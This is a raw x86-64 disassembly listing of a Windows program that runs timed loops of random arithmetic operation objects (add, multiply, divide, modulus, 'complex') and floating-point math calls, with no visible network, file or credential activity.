xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov edi, r14d
cmp ecx, r12d
jae 0x140015c4d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x140015c4d
nop word [rax + rax]
mov esi, r15d
mov edi, r14d
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x140015c30
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
mov r14d, dword [rbp + 0x1e0]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x1e4]
lea rcx, [rbp + 0x1930]
jne 0x140015d19
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x140015cc4
call fcn.140029e90
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140015d77
lea edi, [rax + 1]
call fcn.140029e90
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140015d06
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140015d06
nop word [rax + rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140015cf0
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140015d77
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x140015d2e
call fcn.140029e90
mov ecx, eax
jmp 0x140015d6a
lea edi, [rax + 1]
call fcn.140029e90
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140015d66
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140015d66
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140015d50
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov r12d, dword [rbp + 0x1e0]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x1e4]
btc r15d, 0x1f
sub r15d, r12d
nop dword [rax]
xor r14d, r14d
lea rcx, [rbp + 0x1930]
cmp r15d, 0xffffffff
jne 0x140015db9
call fcn.140029e90
mov ecx, eax
jmp 0x140015dfa
lea edi, [r15 + 1]
call fcn.140029e90
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140015df6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140015df6
nop dword [rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140015de0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140015e20
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm1
test r14b, 1
jne 0x140015ede
lea rcx, [rbp + 0x1930]
cmp r15d, 0xffffffff
jne 0x140015e84
call fcn.140029e90
mov ecx, eax
jmp 0x140015eca
lea edi, [r15 + 1]
call fcn.140029e90
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140015ec6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140015ec6
nop word [rax + rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140015eb0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140015f41
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140015ef0
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r14d
cmp r14d, 5
jl 0x140015da3
sub r13, 1
jne 0x140015da0
mov rcx, qword [rbp + 0x208]
test rcx, rcx
je 0x140015fb7
mov rax, qword [rbp + 0x218]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015f9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016011
call fcn.140031bd4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x208], xmm0
xor r12d, r12d
mov qword [rbp + 0x218], r12
jmp 0x140015fba
xor r12d, r12d
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0xf
jbe 0x140015ff7
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015ff2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016018
call fcn.140031bd4
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
cmp eax, 0x186a0
jl 0x140015580
jmp 0x1400154d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x1f0]
mov r14d, 1
test rbx, rbx
je 0x1400160bd
mov rdi, qword [rbp + 0x1f8]
cmp rbx, rdi
je 0x140016065
mov rcx, qword [rbx]
test rcx, rcx
je 0x140016055
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x140016045
mov rbx, qword [rbp + 0x1f0]
mov rax, qword [rbp + 0x200]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400160a3
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400160a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140031bd4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r12
lea rcx, [rbp + 0x360]
call fcn.140017ce0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x360]
call fcn.140025280
nop
cmp qword [rbp + 0x3e8], 0
je 0x140017ae0
lea rcx, [rbp + 0x238]
call fcn.140026600
nop
mov rcx, qword [rbp - 0x80]
call fcn.140026270
mov rdi, rax
call fcn.140026260
mov rbx, rax
cmp rax, rdi
je 0x1400161a9
movzx r9d, byte [rbx]
cmp r9b, 0x22
je 0x140016169
mov rcx, qword [rbp + 0x248]
mov rdx, qword [rbp + 0x250]
cmp rcx, rdx
jae 0x14001615b
lea rax, [rcx + 1]
mov qword [rbp + 0x248], rax
lea rax, [rbp + 0x238]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x238]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14001619d
lea rcx, [rbp + 0x238]
call fcn.140028510
jmp 0x14001619d
movzx eax, word [0x14003628c]
mov word [rsp + 0x34], ax
movzx eax, byte [0x14003628e]
mov byte [rsp + 0x34], 0x22
xor byte [rsp + 0x35], 0xfc
xor al, 0xfe
mov byte [rsp + 0x36], al
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x238]
call fcn.140026290
inc rbx
cmp rbx, rdi
jne 0x140016115
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1924], 0xffffffff
mov dword [rbp + 0x5a4], eax
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x5a4], eax
inc rdx
cmp rdx, 0x270
jb 0x1400161d0
mov dword [rbp + 0x5a0], 0x270
mov dword [rbp + 0x1c0], 0xffffff9c
mov dword [rbp + 0x1c4], 0x64
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0xf8]
call fcn.140001670
mov rdi, qword [rbp + 0xf8]
add rdi, 0x5f5e100
mov qword [rbp - 0x70], rdi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c8], xmm1
mov qword [rbp + 0x1d8], r12
mov ecx, 8
call fcn.140031880
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x100], rbx
mov qword [rbp], rax
mov rdx, qword [rbp + 0x1d0]
cmp rdx, qword [rbp + 0x1d8]
je 0x140016296
mov qword [rbp], r12
mov qword [rdx], rax
add qword [rbp + 0x1d0], 8
mov rbx, qword [rbp + 0x100]
jmp 0x1400162a7
lea r8, [rbp]
lea rcx, [rbp + 0x1c8]
call fcn.140028e30
nop
mov rcx, qword [rbp]
test rcx, rcx
je 0x1400162b9
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x1400162c9
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.140031880
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x108], rbx
mov qword [rbp + 8], rax
mov rdx, qword [rbp + 0x1d0]
cmp rdx, qword [rbp + 0x1d8]
je 0x140016313
mov qword [rbp + 8], r12
mov qword [rdx], rax
add qword [rbp + 0x1d0], 8
mov rbx, qword [rbp + 0x108]
jmp 0x140016324
lea r8, [rbp + 8]
lea rcx, [rbp + 0x1c8]
call fcn.140028e30
nop
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x140016336
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x140016346
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.140031880
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x110], rbx
mov qword [rbp - 0x20], rax
mov rdx, qword [rbp + 0x1d0]
cmp rdx, qword [rbp + 0x1d8]
je 0x140016390
mov qword [rbp - 0x20], r12
mov qword [rdx], rax
add qword [rbp + 0x1d0], 8
mov rbx, qword [rbp + 0x110]
jmp 0x1400163a1
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x1c8]
call fcn.140028e30
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1400163b3
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x1400163c3
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.140031880
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x118], rbx
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp + 0x1d0]
cmp rdx, qword [rbp + 0x1d8]
je 0x14001640d
mov qword [rbp - 0x18], r12
mov qword [rdx], rax
add qword [rbp + 0x1d0], 8
mov rbx, qword [rbp + 0x118]
jmp 0x14001641e
lea r8, [rbp - 0x18]
lea rcx, [rbp + 0x1c8]
call fcn.140028e30
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140016430
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x140016440
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.140031880
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x78], rbx
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp + 0x1d0]
cmp rdx, qword [rbp + 0x1d8]
je 0x140016484
mov qword [rbp - 0x10], r12
mov qword [rdx], rax
add qword [rbp + 0x1d0], 8
mov rbx, qword [rbp + 0x78]
jmp 0x140016495
lea r8, [rbp - 0x10]
lea rcx, [rbp + 0x1c8]
call fcn.140028e30
nop
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x1400164a7
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x1400164b7
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.140031880
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x68], rbx
mov qword [rbp - 8], rax
mov rdx, qword [rbp + 0x1d0]
cmp rdx, qword [rbp + 0x1d8]
je 0x1400164fb
mov qword [rbp - 8], r12
mov qword [rdx], rax
add qword [rbp + 0x1d0], 8
mov rbx, qword [rbp + 0x68]
jmp 0x14001650c
lea r8, [rbp - 8]
lea rcx, [rbp + 0x1c8]
call fcn.140028e30
nop
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x14001651e
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x140016530
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
nop
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rbx, 0x989680
jne 0x140016551
imul rax, rcx, 0x64
jmp 0x1400165c0
cmp rbx, 0x16e3600
jne 0x1400165a5
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x1400165c0
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x140017071
mov dword [rsp + 0x4c], r12d
nop
mov r12d, dword [rbp + 0x1c0]
btc r12d, 0x1f
mov dword [rsp + 0x58], r12d
mov r13d, dword [rbp + 0x1c4]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x5a0]
cmp r13d, 0xffffffff
jne 0x14001661c
call fcn.140029e90
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
jmp 0x1400166b6
lea ebx, [r13 + 1]
call fcn.140029e90
mov r14d, ebx
mov ecx, eax
imul rcx, r14
mov eax, ebx
cmp ecx, ebx
jae 0x14001665a
neg eax
xor edx, edx
div ebx
mov esi, edx
mov eax, ebx
cmp ecx, edx
jae 0x14001665a
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x140016642
jmp 0x14001665c
mov ebx, eax
mov r14d, r12d
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov edx, ebx
mov qword [rbp - 0x80], rdx
mov ecx, eax
imul rcx, rdx
mov esi, ebx
mov r15d, r12d
cmp ecx, ebx
jae 0x1400166b2
mov eax, ebx
neg eax
xor edx, edx
div ebx
cmp ecx, edx
jae 0x1400166b2
mov edi, edx
mov r12, qword [rbp - 0x80]
mov r15d, r14d
mov esi, ebx
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rcx, r12
cmp ecx, edi
jb 0x140016692
mov r12d, dword [rsp + 0x58]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x1d0]
mov r8, qword [rbp + 0x1c8]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rbx, qword [rax + 8]
mov qword [rsp + 0x50], rbx
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
cmp r13d, 0xffffffff
jne 0x140016705
mov ecx, eax
jmp 0x14001673f
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14001673b
mov eax, esi
neg eax
xor edx, edx
div esi
mov ebx, edx
cmp ecx, edx
jae 0x140016736
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x140016720
mov rbx, qword [rsp + 0x50]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x30]
mov rcx, r15
call rbx
mov dword [rsp + 0x30], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov ebx, 2
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x140016762
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov ebx, 2
nop dword [rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x1400167b0
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm15
addsd xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140016850
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movsd xmm1, qword [0x140037258]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x1400168c0
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d8], xmm0
xor r13d, r13d
mov qword [rbp + 0x2e8], r13
mov qword [rbp + 0x2f0], r13
mov r8d, 3
lea rdx, [0x14003597c]
lea rcx, [rbp + 0x2d8]
call fcn.1400281c0
nop
lea rbx, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0xf
cmova rbx, qword [rbp + 0x2d8]
lea rsi, [rbp + 0x2d8]
cmova rsi, qword [rbp + 0x2d8]
add rsi, qword [rbp + 0x2e8]
cmp rbx, rsi
je 0x1400169c7
nop dword [rax + rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400169b7
nop word [rax + rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400169a0
shr rax, 0x20
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rsi
jne 0x140016980
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
mov qword [rbp + 0x230], r13
mov ecx, 0x190
call fcn.140031880
mov qword [rbp + 0x220], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x230], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x228], r14
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x180], rax
lea rax, [rbp + 0x5a0]
mov qword [rbp + 0x188], rax
movaps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp - 0x80], xmm0
mov rsi, qword [rbp + 0x220]
cmp rsi, r14
je 0x140016a74
mov rbx, qword [rbp - 0x78]
mov r15, qword [rbp - 0x80]
nop dword [rax + rax]
mov rdx, rbx
mov rcx, r15
call fcn.1400271f0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140016a50
mov r14, qword [rbp + 0x228]
mov rsi, qword [rbp + 0x220]
mov dword [rbp + 0x2a0], 0xffffff9c
mov dword [rbp + 0x2a4], 0x64
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x5a0]
mov qword [rbp + 0x198], rax
movaps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp - 0x80], xmm0
cmp rsi, r14
je 0x140016ae8
mov r15, qword [rbp - 0x78]
mov r12, qword [rbp - 0x80]
nop dword [rax]
mov ebx, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.1400271f0
add eax, ebx
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140016ac0
mov r14, qword [rbp + 0x228]
mov rsi, qword [rbp + 0x220]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.140029850
mov r8d, r13d
mov rax, qword [rbp + 0x220]
mov rdx, r13
mov r9, qword [rbp + 0x228]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x140016b85
cmp rcx, 8
jb 0x140016b85
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x140016b40
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x140016b9c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140016b90
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov esi, dword [rbp + 0x1c0]
btc esi, 0x1f
mov r12d, dword [rbp + 0x1c4]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x5a0]
cmp r12d, 0xffffffff
jne 0x140016bee
call fcn.140029e90
lea ebx, [rax + rsi]
xor ebx, 0x80000000
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
jmp 0x140016c91
inc r12d
call fcn.140029e90
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x140016c2a
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov ebx, edx
cmp ecx, edx
jae 0x140016c2a
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x140016c14
shr rcx, 0x20
lea r14d, [rcx + rsi]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov ebx, r14d
cmp ecx, r12d
jae 0x140016c8d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x140016c8d
nop word [rax + rax]
mov esi, r15d
mov ebx, r14d
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x140016c70
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, ebx
test ebx, ebx
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
mov r14d, dword [rbp + 0x1c0]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x1c4]
lea rcx, [rbp + 0x5a0]
jne 0x140016d59
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x140016d04
call fcn.140029e90
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140016db7
lea ebx, [rax + 1]
call fcn.140029e90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140016d46
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140016d46
nop word [rax + rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140016d30
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140016db7
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x140016d6e
call fcn.140029e90
mov ecx, eax
jmp 0x140016daa
lea ebx, [rax + 1]
call fcn.140029e90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140016da6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140016da6
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140016d90
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov r12d, dword [rbp + 0x1c0]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x1c4]
btc r15d, 0x1f
sub r15d, r12d
xor edi, edi
nop
mov r14d, edi
lea rcx, [rbp + 0x5a0]
cmp r15d, 0xffffffff
jne 0x140016df9
call fcn.140029e90
mov ecx, eax
jmp 0x140016e3a
lea ebx, [r15 + 1]
call fcn.140029e90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140016e36
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140016e36
nop dword [rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140016e20
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140016e60
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm1
test r14b, 1
jne 0x140016f1e
lea rcx, [rbp + 0x5a0]
cmp r15d, 0xffffffff
jne 0x140016ec4
call fcn.140029e90
mov ecx, eax
jmp 0x140016f0a
lea ebx, [r15 + 1]
call fcn.140029e90
mov esi, ebx
